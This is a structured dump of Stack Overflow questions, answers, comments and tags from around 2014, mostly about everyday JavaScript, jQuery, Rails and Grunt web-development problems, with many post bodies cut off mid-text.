has body: Im looking to align the following array of colours as precisely as possible. After searching &amp; trying many solutions suggested on Stackoverflow, the pusher.color library has the best solution, however, it too is far from perfect. I would like to hear solutions on how we can align them perfectly. JSFIDDLE LINK : http://jsfiddle.net/dxux7y3e/ Code: var coloursArray=['#FFE9E9','#B85958','#FFB1AE','#FFC2BF','#C55E58','#FFC7C4','#FF9A94','#FF9D96','#FA9790','#A78B88','#A78B88','#CE675B','#DB8073','#FF9D90','#FF7361','#FFD6D1','#F9A092','#FF7B67','#EBACA2','#FF806D','#DD6D5B','#D16654','#ED8673','#FFC4B8','#E2725B','#ED7A64','#8F3926','#BD492F','#9D3C27','#AD533E','#BF4024','#FFC9BC','#6B6766','#E1CDC8','#C2654C','#B3978F','#FFC7B8','#CE2B00','#C2654C','#A24D34','#FF926D','#E78667','#FFB198','#8C756D','#9E6D5B','#FFC7B0','#FFBEA4','#D2B9AF','#FFB193','#632710','#B26746','#976854','#F44900','#E79873','#EFA27F','#532510','#BC866B','#FDE5D9','#FF5B00','#D18C67','#FF5B00','#9E4312','#763713','#BB6B39','#B5622E','#CC7742','#6D4227','#B56B38','#FF7518','#F3B080','#995C30','#995C30','#FF6A00','#D89769','#71472A','#EDAC7B','#EEAB79','#EBCFB9','#FBE3D1','#E19255','#5E381B','#FFDCC1','#FFF0E4','#F68D39','#7B5B40','#FF8313','#FFCEA4','#AA8667','#975414','#CB9867','#8C5B2B','#FFCE9E','#7B4714','#FFF3E7','#FFA449','#CEAF90','#CDB69E','#EFD6BC','#DDA66B','#B27737','#B88A57','#CE9B61','#F4C38B','#543817','#BC9C78','#DBB07A','#FF8E04','#F6EADB','#DBC2A4','#C49B64','#CBA26B','#80551E','#FF9200','#FFECD3','#FFC87C','#FFB755','#DBB680','#D2D0CD','#EFDBBE','#E5C18B','#FFE5BC','#F2EADB','#885F12','#FFE7B6','#825A08','#906712','#F2D18E','#C8C6C2','#FFB000','#FFC243','#C6BEAD','#D0C3A4','#916800','#8C6700','#F4E9CA','#FFF0C5','#FFE080','#FFEBA8','#846600','#FFE692','#F5F0DB','#433F2F','#BBB394','#FFEFAA','#FFE76D','#FFFAE0','#3E3B28','#554900','#E1E0D8','#74725C','#605F54','#F8F7DD','#A5A467','#DDDDDA','#FFFFEE','#A3A39D','#E0E0D7','#BEBEB9','#E8E8E5','#454531','#ACACAA','#E9E9DF','#FFFFDC'…
has comment: http://stackoverflow.com/comment/110169926
tagged with: javascript
linked to: http://stackoverflow.com/q/8022885
tagged with: alignment
tagged with: sorting
favorite count: 0
tagged with: colors
upvote count: 6
answer count: 4
score: 4
has title: Sort Colour / Color Values
linked to: http://stackoverflow.com/q/11923659
possible better answer: http://stackoverflow.com/a/26036999
downvote count: 2
has answer: http://stackoverflow.com/a/26036999
has answer: http://stackoverflow.com/a/25916085
has answer: http://stackoverflow.com/a/26017946
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25916085
linked to: http://stackoverflow.com/q/5623838

http://stackoverflow.com/comment/40430278
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25840472
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/61241/discussion-between-arun-p-johny-and-j82).

http://stackoverflow.com/comment/40438411
has text: @Xan: It actually sounds like a bug to me. I've been coding for a while and it's the first time I hear about the need for a destructor in JS. The language was not designed for it.
comment on: http://stackoverflow.com/a/25844023
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25784047
has body: I have had many problems with the iframe scroll on iPad. All the possible answers can be found on this page : http://dev.magnolia-cms.com/~czimmermann/blog/ipad-iframe/iframe1-tall.html
score: 0
answers question: http://stackoverflow.com/q/25783914
type: Answer

http://stackoverflow.com/a/25857401
answers question: http://stackoverflow.com/q/25854017
score: 0
has body: Here is what your HTML should look like with your fancybox code. Since I can not see your site, I have no idea if you are loading javascript and css files correctly, or what versions of these files you are using etc. Hohensalzburg Castle Salzburg, Austria Isolated sandy cove Zakynthos island, Greece A view from the Old Town Herceg Novi, Montenegro Walls of the Old Town Kotor, Montenegro Boat in the port Sousse, Tunis Wall of the Jain temple Jaisalmer, India City park Negotin, Serbia Taj Mahal mausoleum Agra, India Zante Port Zakynthos, Greece Rustovo Monastery Budva, Montenegro The Mezquita, Cathedral and former Great Mosque Cordoba, Spain Wine Cellars Rajac, Serbia Zante Port Zakynthos, Greece Rustovo Monastery Budva, Montenegro The Mezquita, Cathedral and former Great Mosque Cordoba, Spain Wine Cellars Rajac, Serbia
type: Answer

http://stackoverflow.com/q/25731500
tagged with: jquery
tagged with: ajax
has answer: http://stackoverflow.com/a/25732038
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25732733
has comment: http://stackoverflow.com/comment/40229612
has comment: http://stackoverflow.com/comment/40229828
type: Question
tagged with: javascript
has title: jquery autocomplete with ajax source does not retrieve results
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40231687
has body: I have the following autocomplete that pulls from my ajax data source: $("#id_q").autocomplete({ source: function (request, response) { $.ajax({ url: "/search/autocomplete/", dataType: "jsonp", data: { q: request.term }, success: function (data) { alert(data); response(data); } }); }, minLength: 3, select: function (event, ui) { log(ui.item ? "Selected: " + ui.item.label : "Nothing selected, input was " + this.value); }, open: function () { $(this).removeClass("ui-corner-all").addClass("ui-corner-top"); }, close: function () { $(this).removeClass("ui-corner-top").addClass("ui-corner-all"); } }); Server side I can see that results are being returned correctly and look like: {"results": ["BEEF", "BEEFARONI", "BEEFARONI", "BEEF", "BEET"]} The success method never fires the alert. Also should I rename request.term? What am I doing wrong and where can I print the data I am returning to figure out what is going on?
tagged with: jquery-autocomplete

http://stackoverflow.com/a/25764653
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25764553
has comment: http://stackoverflow.com/comment/40291416
answers question: http://stackoverflow.com/q/25764553
has body: Take a look at moment.js - an excellent library for managing all kinds of time related functionality - momentjs.com Later addition to answer: You mention your are a newbie with JavaScript so here is a simple working example of your problem using moment.js - this example assumes the file and moment.js are in the same folder. Check out the docs on the moment.js for all the formatting options. Good luck. Add Time
score: 7
upvote count: 7

http://stackoverflow.com/comment/40368185
score: 0
has text: What have you tried already? We don't do your coding for you. That's what not SO's for.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25807324

http://stackoverflow.com/comment/40444112
type: AnswerComment
comment on: http://stackoverflow.com/a/25848688
score: 0
type: Comment
has text: Thanks man may be that make sense. I need to add another class for hover thats annoying.

http://stackoverflow.com/q/25804025
has comment: http://stackoverflow.com/comment/40363022
type: UnansweredQuestion
tagged with: php
has comment: http://stackoverflow.com/comment/40362777
has answer: http://stackoverflow.com/a/25804345
type: Question
tagged with: jquery-mobile
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0
has title: What am I missing on my JQM Form?
has body: Im trying to send the info to my email from an app, but i am getting a non-responsive click when I submit. Any help would be awesome. I did look for answers, but I could not find the right solution. HTML AND JQUERY MOBILE 1.4.3 Back What's next? Let's recap Hospice is about care Hopsice is about comfort Hospice has many misconceptions Hospice is about family If you have more questions, ask your health care provider to have someone come and talk to you. Please take our survey Thank you. Your message has been sent. We will get back to you as soon as we can. Your Name: Age: Gender: Email Address: Phone Number: Where are you? Please select your state Home Independent Living Facility Assited Living Facility Long Term Care Facility A Doctors Office With a Home Health Provider Other Rate this App Please select your state 1- Bad 2- Not Good 3 - Average 4 - Good 5 - Great < Message*: send the survey Home Contact Us contactus.js ---> Javascript $('#send-feedback').live("click", function() { var url = 'api/send.php'; var error = 0; var $contactpage = $(this).closest('.content-thankyou'); var $contactform = $(this).closest('.contact-form'); $('.required', $contactform).each(function (i) { if ($(this).val() === '') { error++; } }); // each if (error > 0) { alert('Please fill in all the mandatory fields. Mandatory fields are marked with an asterisk *.'); } else { var name = $contactform.find('input[name="name"]').val(); var age = $contactform.find('input[name="age"]').val(); var gender = $contactform.find('input[name="gender"]').val(); var way = $contactform.find('select[name="way"]').val(); var mobilephone = $contactform.find('input[name="mobilephone"]').val(); var email = $contactform.find('input[name="email"]').val(); var rate = $contactform.find('input[name="rate"]').val(); var message = $contactform.find('textarea[name="message"]').val(); //submit the form $.ajax({ type: "GET", url: url, data: {firstname:firstname, surname:surname, state: state, mobilephone: mobilephone, ema…
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40429095
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25840153
has text: have you tried closing the curly braces at the end of your poll_vote function, as I mentioned in my answer?
score: 0

http://stackoverflow.com/comment/40487254
type: Comment
score: 1
type: AnswerComment
has text: That PDF feature is called fast web view or linearization and it requires a special layout of the PDF file content. It does make use of Byte Serving for requesting specific parts of the PDF file. It allows Adobe Reader to perform an incremental download and display pages as soon as they are downloaded. The problem is the whole file is still downloaded in the background so if you want to minimize the traffic a server side solution, like the one above, is required.
comment on: http://stackoverflow.com/a/25871657

http://stackoverflow.com/q/25734756
tagged with: jquery
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40236616
type: Question
has comment: http://stackoverflow.com/comment/40236979
has title: jquery json parse - error on external file (same data)
has comment: http://stackoverflow.com/comment/40235952
has answer: http://stackoverflow.com/a/25734813
answer count: 2
has body: I need to parse a json file (using jquery). Working sample in: http://jsfiddle.net/bw85zeea/ My problem is that When I try to load "data2" via external file, browser complains it's an invalid format. var data2; $.getJSON('dig.json') .done(function (data) { data2 = data; }); The content in dig.json is: [{"type":"Text","id":"f3e555e7-2a89-478c-a23c-feaabb454ef5","name":"Hello!","next":"ebc8dbcf-4847-4da1-bef9-e18bb016b630"},{"type":"Text","id":"ebc8dbcf-4847-4da1-bef9-e18bb016b630","name":"Miko Miko","next":"6ffb5ab3-b5fa-4d0e-8ca6-b7b8f01e0dfc"},{"type":"Text","id":"6ffb5ab3-b5fa-4d0e-8ca6-b7b8f01e0dfc","name":"End","next":null}] Tried adding ' before and after, same result. According to json validator it's ok. Any ideas on what I'm missing? Regards.
score: 0
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40236724
has comment: http://stackoverflow.com/comment/40236854
has comment: http://stackoverflow.com/comment/40236697
has answer: http://stackoverflow.com/a/25734972
tagged with: javascript

http://stackoverflow.com/comment/40384991
type: QuestionComment
comment on: http://stackoverflow.com/q/25815926
score: 0
has text: Complementing what @Peruggia said, you have some other elements positioned and with z-index defined. They're not being covered up with your _mask layer_. It's not about opacity. It's about the coverage of your layer.
type: Comment

http://stackoverflow.com/q/25723448
favorite count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: css
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/25724302
type: Question
tagged with: syntaxhighlighter
has title: SyntaxHighlighter doesn't show html code properly
tagged with: javascript
has comment: http://stackoverflow.com/comment/40215566
upvote count: 1
answer count: 1
tagged with: jquery
has body: In my project I'm using SyntaxHighlighter jQuery plugin for displaying code samples. I really like it, but I got a problem. When I need to display a code example, which contains HTML, plugin doesn't work correctly. I add all the scripts and stylesheets I need: Then I have my pre tag: <?= str_replace("\n", " ", $var) ?> <? /*********************************** ** Multiline block comments **********************************/ $stringWithUrl = "http://alexgorbatchev.com"; $stringWithUrl = 'http://alexgorbatchev.com'; ob_start("parseOutputBuffer"); // Start Code Buffering session_start(); ?> And the output I get is: <!--?= str_replace("\n", "<br/-->", $var) ?> Highlighter deletes my html and body tags. I am doing everything like in documentation: http://alexgorbatchev.com/SyntaxHighlighter/manual/demo/html-script.html What am I doing wrong?

http://stackoverflow.com/comment/40362354
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25802965
score: 0
has text: show your action and your interceptor stack

http://stackoverflow.com/q/25835765
has comment: http://stackoverflow.com/comment/40422622
tagged with: javascript
has title: Rails not recognizing Javascript syntax
score: 0
has comment: http://stackoverflow.com/comment/40421655
has comment: http://stackoverflow.com/comment/40424055
has comment: http://stackoverflow.com/comment/40420503
tagged with: ruby
has comment: http://stackoverflow.com/comment/40420618
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40420630
answer count: 0
has body: I am using THIS screencast to be able select Dynamicaly from regions to countys. I set up all records in database. Models have associations and so on. But now when I reload page it shows me this error: syntax error, unexpected tSTRING_BEG, expecting keyword_do_cond or ';' or '\n' _erbout.concat " countys.push(new Array("; _... So I think that Rails can't recognize Rails syntax inside javascript file ? Is that true ? Is there option to make it understand syntax or I need other way around to get going dynamic selections ? dynamic_countys.js.erb located in assets/javascript folder. var countys = new Array(); &lt;% for county in @countys -%&gt; countys.push(new Array(&lt;%= county.region_id %&gt;, '&lt;%=h county.name %&gt;', &lt;%= county.id %&gt;)); &lt;% end -%&gt; function countrySelected() { region_id = $('form_region_id').getValue(); options = $('form_region_id').options; options.length = 1; countys.each(function(county) { if (county[0] == region_id) { options[options.length] = new Option(county[1], county[2]); } }); if (options.length == 1) { $('state_field').hide(); } else { $('state_field').show(); } } document.observe('dom:loaded', function() { countrySelected(); $('form_region_id').observe('change', countrySelected); }); Thanks!
tagged with: ruby-on-rails
has comment: http://stackoverflow.com/comment/40422722
type: Question
has comment: http://stackoverflow.com/comment/40421522
has comment: http://stackoverflow.com/comment/40421412

http://stackoverflow.com/comment/40329310
comment on: http://stackoverflow.com/q/25785941
type: Comment
has text: @dreamweiver oops! There is using by Jquery validator. Not bootstrap validator. I want it in bootstrap validator.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40310763
has text: You bet! I love it so much when people take the time and energy to help out so I do what I can to give back :)
comment on: http://stackoverflow.com/a/25774784
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25760943
score: 0
answers question: http://stackoverflow.com/q/25760875
type: Answer
accepted answer of: http://stackoverflow.com/q/25760875
has body: From the look of it, it is a JavaScript function which is suppose to run when you click on the submit button. You need to look at your JavaScript files and find the function and see what it does. Whether it is safe to remove or not, depends on what it does.
type: AcceptedAnswer

http://stackoverflow.com/comment/40284931
score: 0
has text: http://jsfiddle.net/Rroni/4b56n6p1/
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25761586

http://stackoverflow.com/comment/40208186
score: 1
has text: If you found a solution, please add it as an answer to your question.
comment on: http://stackoverflow.com/q/25719623
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25760744
downvote count: 0
answers question: http://stackoverflow.com/q/25760498
type: Answer
upvote count: 1
has body: You have to add an additinal backslash to escape it right. With replace you would only replace the first match. You can also use Regular expression as you can see on the other posts. But you can also use it with simple split and join functions function addslashes(url) { url.split('/').join('\\/'); } Demo
score: 1

http://stackoverflow.com/q/25774324
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/25774969
tagged with: javascript
tagged with: date
has body: So I have a datestring that looks like 2014-08-02T19:00:00 Which should come out to Aug 02 2014 7PM (EST) but when I create a date object it seems to change it to Sat Aug 02 2014 15:00:00 GMT-0400 (Eastern Daylight Time) Basically it seems to be assuming that the datestring was in GMT-0000. Is there a way for me to tell it the GMT of the datestring so it doesn't automatically adjust it?
score: 0
accepted answer: http://stackoverflow.com/a/25774416
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40309563
has answer: http://stackoverflow.com/a/25774969
has title: Javascript newDate(datestring) seems to be changing my time zone
has answer: http://stackoverflow.com/a/25774416

http://stackoverflow.com/q/25832006
tagged with: wildcard
score: 0
has body: Is it possible to access in grunt.js to variables of Wildcards outside of wildcards? For example my config looks like that: module.exports = function(grunt) { grunt.initConfig({ globalConfig: grunt.file.readJSON('src/config.json'), pkg: grunt.file.readJSON('package.json'), concat: { options: { separator: ';' }, dist: { src: ['src/**/*.js'], dest: 'dist/&lt;%= pkg.name %&gt;.js' } }, uglify: { options: { banner: '/*! &lt;%= pkg.name %&gt; &lt;%= grunt.template.today("dd-mm-yyyy") %&gt; */\n' }, dist: { files: { 'dist/&lt;%= pkg.name %&gt;.min.js': ['&lt;%= concat.dist.dest %&gt;'] } } }, qunit: { files: ['test/**/*.html'] }, jshint: { files: ['Gruntfile.js', 'src/**/*.js', 'test/**/*.js'], options: { // options here to override JSHint defaults globals: { jQuery: true, console: true, module: true, document: true } } }, watch: { files: ['&lt;%= jshint.files %&gt;'], tasks: ['jshint', 'qunit'] } }); grunt.loadNpmTasks('grunt-contrib-uglify'); grunt.loadNpmTasks('grunt-contrib-jshint'); grunt.loadNpmTasks('grunt-contrib-qunit'); grunt.loadNpmTasks('grunt-contrib-watch'); grunt.loadNpmTasks('grunt-contrib-concat'); grunt.registerTask('test', ['jshint', 'qunit']); grunt.registerTask('default', ['jshint', 'qunit', 'concat', 'uglify']); }; My JSON-file ot globalConfig looks like that: { "buildOrder": ["file1.js", "file2.js", "file3.js"] } How can I access to the buildOrder-Array and use it in concat.dist.src for example? By wildcard I would access like that: &lt;%= globalConfig.buildOrder %&gt; But I want to use the array outside of the wildcard because it´s an array: dist: { src: globalConfig.buildOrder, dest: 'dist/app.bundle.js' }
answer count: 0
type: UnansweredQuestion
has title: Variables in Grunt.js
type: Question
has comment: http://stackoverflow.com/comment/40418658
has comment: http://stackoverflow.com/comment/40416710
tagged with: gruntjs
tagged with: javascript

http://stackoverflow.com/comment/40361419
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25773801
has text: thank you @Christina! please, post it as answer, I'll accept it immediately!
type: Comment

http://stackoverflow.com/a/25780797
has comment: http://stackoverflow.com/comment/40326674
has comment: http://stackoverflow.com/comment/40328123
has comment: http://stackoverflow.com/comment/40329993
score: 5
upvote count: 5
has body: use the onload of each template and increment a counter. if the form contains only ng-include divs, use the beow code to get the count, or write a function to get the count of divs with ng-include. HTML Javascript var templates = 0; var length = $("#includes > div").length; $scope.load = function(){ templates++; if(templates >= length){ onLoadComplete() } } function onLoadComplete(){ // all templates are loaded }
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40322021
type: Answer
accepted answer of: http://stackoverflow.com/q/25779304
answers question: http://stackoverflow.com/q/25779304

http://stackoverflow.com/comment/40331130
comment on: http://stackoverflow.com/q/25787022
score: 0
type: Comment
type: QuestionComment
has text: ID of an element must be unique.. so you can't have the same table structure repeated for each question

http://stackoverflow.com/q/25768891
has comment: http://stackoverflow.com/comment/40304094
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40341038
has answer: http://stackoverflow.com/a/25792625
tagged with: xmpp
answer count: 1
tagged with: strophe
favorite count: 0
has comment: http://stackoverflow.com/comment/40338516
has comment: http://stackoverflow.com/comment/40306199
has comment: http://stackoverflow.com/comment/40338643
has comment: http://stackoverflow.com/comment/40306690
has title: Strophe.js client connecting to server, disconnect/timeout
has comment: http://stackoverflow.com/comment/40300623
has body: I have a little JavaScript XMPP client, written with Strophe, that connects to a server hosted on hosted.im. I think hosted.im uses ejabberd on their backend. I establish the connection using Strophe.Connection(myBoshService), and am able to send chat messages back and forth. However, after a certain time, it seems, there is an automatic disconnect if there is no activity. Now, my question is, what would be a good way to keep the session active, so that it does not disconnect. Disconnect time seems to be very short, about 60 seconds or so. Should I send some kind of activity back and forth to keep it open? Or, which seems simpler to me, should I somehow change the timout of the session. If so, where can I change this? Is this a server-setting, irregardless of the Strophe.Connection object, or can I set the timeout when initializing Strophe.Connection? Thanks for any and all help. Best regards, Chris Edit: Here is the code I use for connecting: I manage the connection through a global variable Hello (yes, name is awkward, I took it from an example): var Hello = { connection: null, start_time: null, partner: { jid: null, name: null }, log: function (msg) { $('#log').append(" " + msg + " "); }, send_ping: function (to) { var ping = $iq({ to: to, type: "get", id: "ping1"}).c("ping", {xmlns: "urn:xmpp:ping"}); Hello.log("Sending ping to " + to + "."); console.log("Sending ping to " + to + "."); Hello.start_time = (new Date()).getTime(); Hello.connection.send(ping); }, handle_pong: function (iq) { var elapsed = (new Date()).getTime() - Hello.start_time; Hello.log("Received pong from server in " + elapsed + "ms."); console.log('Received pong from server in " + elapsed + "ms.'); $('#login').hide(); $('#chat').show(); //window.location = "chat.html"; //Hello.connection.disconnect(); return true; }, //"<active xmlns="http://jabber.org/protocol/chatstates"/> tuiuyi " displayIncomingText: function (text) { var body = $(text).find("xml > body"); if (body.length === 0) { body = $…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40306046
has comment: http://stackoverflow.com/comment/40310657
tagged with: ejabberd
has comment: http://stackoverflow.com/comment/40300759
score: 1
tagged with: timeout
has comment: http://stackoverflow.com/comment/40306825
upvote count: 1
type: Question

ruby-on-rails-4
type: Tag
tags question: http://stackoverflow.com/q/25721531
tags question: http://stackoverflow.com/q/25827286
tags question: http://stackoverflow.com/q/25794622
tags question: http://stackoverflow.com/q/25731164
tags question: http://stackoverflow.com/q/25843894
tags question: http://stackoverflow.com/q/25839291
tags question: http://stackoverflow.com/q/25798654
tags question: http://stackoverflow.com/q/25774592
tags question: http://stackoverflow.com/q/25791225
tag name: ruby-on-rails-4
tags question: http://stackoverflow.com/q/25777403
tags question: http://stackoverflow.com/q/25854541

http://stackoverflow.com/q/25768145
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
has body: I would like to start off with a note. I tried using a jsfiddle but for some reason HTML5 canvas does not work. So as a workaround I used http://jsbin.com/gugihuwegopa/1/. To edit with this site, click the edit button at the top right corner of the window. Anyway, my problem is, when the paddle is not moving, the ball bounces correctly off all sides (The nomove variable has nothing to do with that, its just to make it disappear with the "w" key). However, when I move the paddle with the mouse towards the ball, it gets stuck inside the paddle. I think this is because it is not updating the location of the paddle fast enough so that the ball ends up inside of it, and my code continues to cause the ball to bounce even while inside. (until moving the paddle rapidly away and it gets unstuck). Yes I have tried putting the cxt.fillRect before the cxt.arc(). Sometimes the ball will travel through the paddle as well. I figure a way to fix this would be factoring in the direction of the ball in my two if statements: if(y+ymove&gt;=w &amp;&amp; y+ymove&lt;=w+h &amp;&amp; x&gt;=s &amp;&amp; x&lt;=s+l ) ymove*=-1; //top and bottom if(x+xmove&gt;=s &amp;&amp; x+xmove&lt;=s+l &amp;&amp; y+ymove&lt;=w+h &amp;&amp; y+ymove&gt;=w ) xmove*=-1; //left and right Some other methods I have tried include: if(y+ymove&gt;=w &amp;&amp; y+ymove&lt;=w+h &amp;&amp; x&gt;=s &amp;&amp; x&lt;=s+l &amp;&amp; centerY+17.5 &lt; y+ymove+5 &amp;&amp; centerX+12.5 &lt; x+xmove+5) ymove*=-1; //top and bottom, extra +5 for radius if(x+xmove&gt;=s &amp;&amp; x+xmove&lt;=s+l &amp;&amp; y+ymove&lt;=w+h &amp;&amp; y+ymove&gt;=w &amp;&amp; centerX+12.5 &lt; x+xmove+5 &amp;&amp; centerY+17.5 &lt; y+ymove+5) xmove*=-1; //left and right So basically I just need the ball to bounce correctly no matter how I move the paddle. Feel free to edit all you want, even if it means adding more if statements. All I ask is absolutely NO JQuery. Thanks in advance.
type: Question
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has answer: http://stackoverflow.com/a/25772852
answer count: 2
upvote count: 1
has title: Canvas Ball bounces in wrong direction when pong paddle is moving
accepted answer: http://stackoverflow.com/a/25772852
possible better answer: http://stackoverflow.com/a/25768453
has answer: http://stackoverflow.com/a/25768453
tagged with: javascript
tagged with: dom
tagged with: canvas

http://stackoverflow.com/a/25788043
upvote count: 2
answers question: http://stackoverflow.com/q/25787673
accepted answer of: http://stackoverflow.com/q/25787673
score: 2
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: I think what you're looking for is a way to go to the next div in a sequence of divs. Here's a link to a working example: http://jsfiddle.net/0uop9rzL/7/ In your current approach, you are using a for-loop in which you have hard coded the number of divs that you're cycling through. Even if the logic in your gall function actually did show the next box, what if you want to add additional divs in the future? More importantly, why would you need to cycle through all of the divs each time you click the next button? In my example I added a data-next attribute to the currently visible box (taking advantage of JQuery's data function). I am able to find the currently visible box by using the :visible selector (i.e. mainBox.find("div:visible");. There are many approaches to this problem, but you may want to familiarize yourself with some of the tools that I've shown you and more of JQuery's abilities by visiting http://api.jquery.com/ HTML &lt;div class="main"&gt; &lt;button id="left_btn" &gt;&amp;lt;- &lt;/button&gt; &lt;button id="right_btn"&gt;-&amp;gt;&lt;/button&gt; &lt;div id="pic_box"&gt; &lt;div id="gall_one" data-next="#gall_one2"&gt; &lt;h2&gt;Lorem Ipsum1&lt;/h2&gt; &lt;img src="images/mlp1.png" allt="mlp" /&gt; &lt;p&gt;Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book&lt;/p&gt; &lt;/div&gt; &lt;div id="gall_one2" data-next="#gall_one3"&gt; &lt;h2&gt;Lorem Ipsum2&lt;/h2&gt; &lt;img src="images/mlp2.png" allt="mlp" /&gt; &lt;p&gt;Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book&lt;/p&gt; &lt;/div&gt; &lt;div id="gall_one3" data-next="#gall_one"&gt; &lt;h2&gt;Lorem Ipsum3&lt;/h2&gt; &lt;img src="images/mlp3.jpg" allt="mlp" /&gt; &lt;p&gt;Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown…

http://stackoverflow.com/comment/40245912
comment on: http://stackoverflow.com/a/25738737
type: Comment
has text: Well ok. You can activate/desactivate it with the example I gave you
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40251740
comment on: http://stackoverflow.com/q/25743414
has text: @OsmanShareef I think the error is in your AjaxSuccess method. You used $(#sending.val()=......) I don't think this reference is correct. You should have used $('.sending').val('Thank you, message sent'); "sending" is a class so use (.) not #
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40338098
type: AnswerComment
score: 0
type: Comment
has text: Didn't know about it :)
comment on: http://stackoverflow.com/a/25790915

http://stackoverflow.com/q/25754378
tagged with: javascript
tagged with: jquery
score: -1
answer count: 2
tagged with: header
has comment: http://stackoverflow.com/comment/40273400
has title: Load New URL Content Without Refresh?
favorite count: 0
has comment: http://stackoverflow.com/comment/40276367
has answer: http://stackoverflow.com/a/25754560
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40272662
tagged with: php
has answer: http://stackoverflow.com/a/25754458
has body: I need to ask a simple question I am trying to get a page URL and replace the users current content with the new URL data without a refresh? Here's what I have so far: $("#load_more_link").click(function () { window.history.replaceState("object or string", "Title", "/another-new-url"); return false; }); So whatever the content of the new php or html page is I want to display that content instead. How can I do this?
downvote count: 1
tagged with: content-type
type: Question
upvote count: 0

visual-studio-cordova
tags question: http://stackoverflow.com/q/25779744
type: Tag
tag name: visual-studio-cordova

http://stackoverflow.com/q/25718969
has answer: http://stackoverflow.com/a/25719181
accepted answer: http://stackoverflow.com/a/25719181
tagged with: http://stackoverflow.com/tag/html
tagged with: php
type: AnsweredQuestion
has title: Set value from database based on row we choose by button
type: Question
has body: I want to make a form for my office, where users can fill the form without manually typing. Just search from the popup browser, and find their data and automatically set in fields. This is form display, when we click the blue file icon to open new popup window And this is new popup window, search display. When we click button 'pilih' i want ('nik, nama_karyawan, departemen, jabatan') to automatically set in form display.
answer count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40206165
score: 0

http://stackoverflow.com/q/25775738
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/40312638
answer count: 1
downvote count: 0
has title: best_in_place nil and edit functions not working on rails4 with bootstrap app
tagged with: jquery
tagged with: best-in-place
has comment: http://stackoverflow.com/comment/46306519
favorite count: 0
tagged with: twitter-bootstrap
type: UnansweredQuestion
tagged with: ruby-on-rails
has answer: http://stackoverflow.com/a/29205975
type: Question
tagged with: javascript
has body: I used the gem in a project before, only it was rails 3 with no css framework. Now it seems like jQuery functions for best_in_place are eather blocked or not loaded at all. There's no placeholder visible from :nil function and no editing current values available neither. This is my view partial: &lt;div class="row"&gt; &lt;div class="col-lg-4"&gt; &lt;%= best_in_place [@company,service], :name, type: :input, :nil =&gt; "Click to fill" %&gt; &lt;/div&gt; &lt;div class="col-lg-4"&gt; &lt;%= best_in_place [@company,service], :duration, type: :input, :nil =&gt; "Click to fill" %&gt; &lt;/div&gt; &lt;div class="col-lg-4"&gt; &lt;%= link_to 'X', [@company,service], method: :delete, data: { confirm: 'Are you sure?'} %&gt; &lt;/div&gt; &lt;/div&gt; My controller: def update respond_to do |format| if @service.update(service_params) format.html { redirect_to @service, notice: 'Service was successfully updated.' } format.json { respond_with_bip(@service) } else format.html { render :edit } format.json { render json: @service.errors, status: :unprocessable_entity } end end end service.js.coffee for activating jquery best_in_place functions jQuery -&gt; $('.best_in_place').best_in_place() And application.js //= require jquery //= require jquery_ujs //= require jquery_nested_form //= require turbolinks //= require bootstrap.min //= require jquery-ui //= require jquery.purr //= require best_in_place //= require best_in_place.jquery-ui //= require_tree I noticed also the last update on best_in_place is from 02/2013, so maybe it's not fully compatible with my present project. If that's the case i'd appreciate any data on similar gems to be used instead. Edit: It's clearly a javascript issue but i can't figure it out. I get the following error on my browser console: "undefined is not a function". Only it points at jquery.js line 10306, which is empty ..
has comment: http://stackoverflow.com/comment/41001596

http://stackoverflow.com/comment/40226842
comment on: http://stackoverflow.com/q/25729932
score: 0
type: Comment
type: QuestionComment
has text: I've added a jsfiddle that shows the effect. Thanks for Kevin. Could you please tell me how I consolidate all animate() into one for different selectors that have different adjustments for the effect? Perhaps my code needs to be restructured? Is there a problem with my approach to this?

http://stackoverflow.com/q/25734799
type: Question
